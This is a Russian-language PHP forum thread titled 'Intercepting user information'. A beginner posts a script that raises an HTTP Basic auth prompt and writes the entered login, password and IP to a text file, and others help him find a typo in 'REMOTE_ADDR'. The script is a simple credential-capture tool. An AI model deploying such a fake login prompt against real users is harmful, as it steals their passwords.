Перехват информации о пользователе

rooot

Новичок
Перехват информации о пользователе

Нацарапал такой скрипт:
PHP:
<?php
  if (!isset($_SERVER['PHP_AUTH_USER'])) {
   header('WWW-Authenticate: Basic realm="My Realm"');
   header('HTTP/1.0 401 Unauthorized');
   echo 'Вы должны пройти авторизацию';
   exit;
  } else {
   {
$_SERVER['PHP_AUTH_USER'];
}
   {
$_SERVER['PHP_AUTH_PW'];
}
 }

$filename = 'test.txt';
$text1="Login:";
$text2="Pass:";
$text3="Computer:";
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
$comp = $_SERVER['REMOTE_ADDR '];
if (is_writable($filename)) {

   if (!$handle = fopen($filename, 'a')) {
         echo "Не могу открыть файл ($filename)";
         exit;
   }

   
   if (fwrite($handle, $text1 . $login ." ". $text2 . $pass . " " . $text3 . $comp ."\r\n") === FALSE) {
       echo "Не могу произвести запись в файл ($filename)";
       exit;
   }
   
   
   fclose($handle);

} else {
   echo "Файл $filename недоступен для записи";
}

?>
откррываю test.txt там такое:
Login:username Pass:password Computer:
т.е. все есть кроме адреса машины (((
опять что то я упустил в мануале ((
to TOR но как заметил наверное уже намного лучше )))
 

neko

tеam neko
нет плохо
плохо очень плохо
есть одна функция ее надо крепко выучить
phpinfo()
все чего там нету, нету и в твоем скрипте
все что есть там, в скрипте тоже присутствует
 

Фанат

oncle terrible
Команда форума
rooot
а почему ты проверяешь переменную путём записи её в файл?
Почему бы тебе её на экран сначала не выводить?
 

rooot

Новичок
Фанат
так сначала так и было, потом стало интересно записать в файло.
neko
а как можно увидеть исходник phpinfo(), ну т.е. все запросы??
Tor
оптимизм укрепляет нервы ))
ALL
так никто и не подскажет???
 

neko

tеam neko
phpinfo() пишет к нашему общему с тобой счастью имена переменных где все хранится
ты вообще того, ее пробовал или где?
 

Фанат

oncle terrible
Команда форума
так сначала так и было
то есть, пока выводил на экран - $comp = $_SERVER['REMOTE_ADDR ']; было, а как стал записывать - пропало?
как можно увидеть исходник phpinfo(), ну т.е. все запросы??
никаких запросов нету. она показывает переменные, которые уже есть в втоём скрипте.
так никто и не подскажет???
что тебе подсказать?
 

rooot

Новичок
neko
да с нее и ташил все
$_SERVER['REMOTE_ADDR '];
откуда я мог ее найдти???
 

neko

tеam neko
плохо тащил
надо было как есть тащить -- без пробелов
 

rooot

Новичок
Фанат
нет $_SERVER['REMOTE_ADDR ']; не было
точнее сперва маневрировал с 2-мя а далее сразу записал в файл, а после захотелось и машину вписать.
 

ARN

Guest
$comp = $_SERVER['REMOTE_ADDR '];

а не лишний ли пробел в конце ADDR ? :)
 

rooot

Новичок
((((((( вот епрст
вобшем ответ получил на свой вопрос, быть внимательнее
всем спасибо
 
Сверху